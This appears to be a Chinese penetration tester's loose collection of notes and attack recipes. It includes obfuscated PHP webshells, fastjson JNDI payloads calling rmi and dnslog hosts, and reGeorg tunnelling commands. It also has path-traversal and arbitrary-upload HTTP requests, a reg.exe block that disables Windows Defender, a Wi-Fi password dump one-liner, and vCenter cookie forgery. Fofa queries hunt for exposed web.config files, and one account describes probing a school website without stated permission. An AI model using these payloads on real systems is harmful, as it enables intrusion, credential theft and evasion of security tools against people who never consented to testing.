Penetration Test ☞ Experience/thought/summary
step1: 搜集子域名
step2: 搜集IP (目标域名历史解析IP)
step3: 以IP+域名的形式进行碰撞
传送:
https://github.com/fofapro/Hosts_scan
https://github.com/shmilylty/OneForAll
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/ # 子域名
参考:
https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
复现:
环境搭建
实验环境
# 安装nginx
apt install nginx
# 创建nginx配置文件
/usr/sbin/nginx -t
# 配置文件位置
/etc/nginx/nginx.conf
实战环境(模拟)
文件nginx.conf配置如下
http {
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
# include /etc/nginx/sites-enabled/*;
# 限制IP访问
server {
listen 80 default;
server_name _;
return 403;
}
server {
listen 80;
server_name nginx.lab.com;
location / {
proxy_pass http://10.10.10.12:8000;
index index.html index.htm index.jsp;
}
}
}
复现效果
如下图所示
IP访问
域名访问
Windows
# 修改 hosts
notepad %windir%\system32\drivers\etc\hosts
# 添加以下绑定关系
10.10.10.12 nginx.lab.com
使用Burpsuite复现
3重 base64 失败(似乎检测了关键字‘base64’)
3重 url编码 成功
贴两个🐎(侵删
)
demo1:
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;
?>
demo2:
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>
demo
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0
bypass
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
上传对应的tunnel文件,如图即可
然后attack-pc 执行
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888
proxifier配置代理如下
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
上传对应的tunnel文件,如图即可
然后attack-pc 执行
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561
proxychains配置如下:
demo: 使用proxychains代理远程登录windows
proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率
https://sourceforge.net/projects/ssocks/
参考: https://apt404.github.io/2016/09/12/ssocks/
POST /index HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin:
Referer:
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
成功突破网络边界进入内网
命令行:
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678
proxier:
0.泛解析
原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。
举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。
1.OneForAll:
访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。
2.SubdomainBrute
超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。
3.目前思路-TTL黑名单
在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。
参考:http://sh3ll.me/
邮箱/电话等 -> 供社工钓鱼使用
session/密码等 -> 外网系统入口(OA/邮箱/VPN)
fofa随缘,独立ip 1000+即可
step1
step2
.action?xmlPath=../../conf/tomcat-users.xml
.action?xmlPath=../../webapps/examples/WEB-INF/web.xml
step3
POST /index/login HTTP/1.1
User-Agent:
Accept:
Accept-Encoding:
Content-Type:
username=admin&password[]=&verifycode=
Terminal下执行
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
响应
PortNumber REG_DWORD 0xd3d
进制转换得到
# Defensive Evasion
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。
文件位置
/var/lib/mlocate/mlocate.db
与之对应的命令 — locate
在拿到目标权限后做信息收集还是蛮不错的
locate web.xml
— by chengmo
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
本质:找到能通向内网的主机
— 类似Linux下的.bash_history
文件位置
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
利用思路
工具
条件
后续
本地环境搭建中
本地环境搭建中
近期的1次实战
这是对学校某网站随机测试发现的,当时可下载web.config,由于不熟悉.net就没有后续了。
前段时间隔壁班的大佬提示说: 可以尝试下载源码审计一波👀
在xx通知页面发现一处文件下载的功能点
于是开始猜其目录
?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx
?filename=./../DownLoadFile.aspx
......
最后以
成功下载
1.下载web.config,获取数据库配置以及部分网站架构
如图,可获取到数据库密码
2.遍历下载*.aspx,然后根据Inherits所引用文件的位置,构造路径下载*.dll,然后dnSpy反编译后审计即可
示例:文件下载漏洞
— 历史笔记整理
关于vcenter的利用主要是在已经获取服务器权限的情况下
(登录后台)
data.mdb位置:
Linux:
/storage/db/vmware-vmdir/data.mdb
Windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
实测效果
然后访问https://10.10.10.1/ui,在 /ui 路径下替换上一步所获得的cookie即可
进入后台后
# by se7ensec.cn
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
Citrix虚拟化应用常常与AD域绑定,如果被登录,将会对整个域安全造成非常重大的风险。
测试CVE-2021-26084:
目录:
# Windows默认安装
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml
# Ubuntu默认安装
/var/atlassian/application-data/confluence/confluence.cfg.xml
For better or worse, Requests for Comments (RFCs) are how we specify many protocols on the Internet.
RFC规范实际使用场景示例:
学习参考:
相信能看到这些笔记的师傅可能都曾遇到过负载均衡场景下的渗透问题,比如你通过nday打下了一台weblogic,并上了webshell,当你对目标机子再次发起请求时,你会发现执行命令出错,也许会猜测是因为网络问》题;于是你再用exp打了一次,成功了,此时的ip可能发生了变化;失败了,漏洞不存在了?在这些问题的背后,很有可能就是
负载均衡
在作祟。再加上微服务架构和K8S的兴起,负载均衡的应用也越来越多,这是个不得不学习 & 解决的坑。
# 通俗理解: 一个超市的收营员高峰期只能服务10位顾客,当做活动时有20位顾客需要服务的话可能就会排长队,这样购物体验将会很差(就像客户抱怨系统/网站访问太慢)。最简单的办法就是再招个营业员,重新开通一个出口。负载均衡的核心就是“分摊压力”。
其他测绘引擎同理 示例:
body="web.config" && "oa" && "rar" && country="CN"
body="web.config" && "U8" && country="CN"
body="web.config" && "EAS" && country="CN"
body="web.config" && "k3s" && country="CN"
body="web.config" && "kingdee" && country="CN"
body="web.config" && "系统" && country="CN"
body="web.config" && "办公" && country="CN"
body="web.config" && "EKP" && country="CN"
...
效果: 某OA全家桶?
没遇到过,遇到了也不一定知道自己遇到了,再一次被自己 Vegetable Cried !!!
getshell后,可见日志记录如下:
读取mysql的ibdata1文件,此文件里会存有数据库内容信息
使用utf-8打开文件,使用正则搜索
admin([a-f\d]{32}|[A-F\d]{32})
vhost password decrypt:
效果如下: